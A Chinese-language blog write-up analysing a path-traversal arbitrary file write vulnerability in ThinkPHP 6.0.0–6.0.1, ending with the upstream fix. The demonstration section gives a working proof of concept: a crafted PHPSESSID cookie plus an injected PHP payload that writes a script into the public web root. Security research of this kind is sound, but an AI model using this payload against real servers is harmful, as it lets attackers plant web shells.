HacKerQWQ的博客空间

TP6任意文件写漏洞分析

Word count: 821Reading time: 3 min
2021/10/18 Share

漏洞简介

think\Session中的setId方法未对PHPSESSID进行校验,因此造成了任意文件写漏洞,漏洞存在版本:ThinkPHPv6.0.0-v6.0.1

配置

1
2
3
4
5
composer create-project topthink/think tp6
cd tp6
# 修改composer.json
"topthink/framework": "6.0.0"
composer update

app/controller/Index.php下修改代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index()
{
session('demo', $_GET['c']);
return 'ThinkPHP V6.0.0';
}

public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
}

app/middleware.php开启session功能(默认开启)

官网关于session的配置:https://www.kancloud.cn/manual/thinkphp6_0/1037635

1
2
3
4
5
6
7
8
9
10
<?php
// 全局中间件定义文件
return [
// 全局请求缓存
// \think\middleware\CheckRequestCache::class,
// 多语言加载
// \think\middleware\LoadLangPack::class,
// Session初始化
\think\middleware\SessionInit::class
];

正常访问页面如下

image-20211018230703197

漏洞演示

cookie设置为

1
PHPSESSID=/../../../public/shell123456.php

需要32位的Cookie,然后通过c传参设置cookie中的demo

1
/?c=<?php phpinfo();?>

访问shell123456.php

image-20211018231015988

漏洞分析

在框架运行前,先进入src/think/middleware/SessionInit.phphandle方法初始化session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function handle($request, Closure $next)
{
// Session初始化
$varSessionId = $this->app->config->get('session.var_session_id');
$cookieName = $this->session->getName();

if ($varSessionId && $request->request($varSessionId)) {
$sessionId = $request->request($varSessionId);
} else {
$sessionId = $request->cookie($cookieName);
}

if ($sessionId) {
$this->session->setId($sessionId);
}

$this->session->init();

$request->withSession($this->session);

/** @var Response $response */
$response = $next($request);

$response->setSession($this->session);

$this->app->cookie->set($cookieName, $this->session->getId());

return $response;
}

image-20211018232442385

$sessionId为cookie传入的/../../../public/shell123456.php,调用think\Session的setId方法设置$this->id

image-20211018232729471

可以看到需要$id的长度为32,才能将$this->id设置为PHPSESSID中的值

image-20211018232937002

由于第一次初始化,此时session文件为空,会将$this->init设置为true然后继续执行handle代码

image-20211018233133688

在$next处会进行类的反射调用,处理用户的请求,进入到Index.php

image-20211018233247942

跟进session方法初始化session

image-20211018233332133

调用ThinkPHP官方文档中的session设置函数Session::set设置session,设置好session后回到SessionInit的handle函数处理剩下的代码

image-20211018233517551

这里调用了think\Cookie方法设置Cookie为$this->id也就是我们传入的PHPSESSID=>/../../../public/shell123456.php

image-20211018233700718

public/index.php中调用end方法处理响应后的信息

image-20211018233744630

think/Http.php中的$this->app->middleware->end处通过反射获取think\Middleware类执行end方法

image-20211018234024529

实例化一个SessionInit方法调用end方法

image-20211018234249153

调用think/session/Store.php的save函数准备将session信息写入文件

image-20211018234335145

调用$this->handlerthink\session\driver\File的write函数处理$sessionId=>/../../../public/shell123456.php$data=>a:1:{s:4:"demo";s:18:"<?php phpinfo();?>";}

image-20211018234622739

通过$this->getFileName获取$sessionId中的文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
protected function getFileName(string $name, bool $auto = false): string
{
if ($this->config['prefix']) {
// 使用子目录
$name = $this->config['prefix'] . DIRECTORY_SEPARATOR . 'sess_' . $name;
} else {
$name = 'sess_' . $name;
}

$filename = $this->config['path'] . $name;
$dir = dirname($filename);

if ($auto && !is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

return $filename;
}

直接将sess和$sessionId拼接到一起形成sess_/../../../public/shell123456.php$filename,然后用dirname截取$dir创建目录sess_

image-20211018235120409

最后在writeFile函数中写入shell文件,分析到这里就结束了

漏洞修复

src/think/session/Store.php处的setId使用了ctype_alnum方法确保传入的session文件名是字母和数字

image-20211018235609426

image-20211018235728341

CATALOG
  1. 1. 漏洞简介
  2. 2. 配置
  3. 3. 漏洞演示
  4. 4. 漏洞分析
  5. 5. 漏洞修复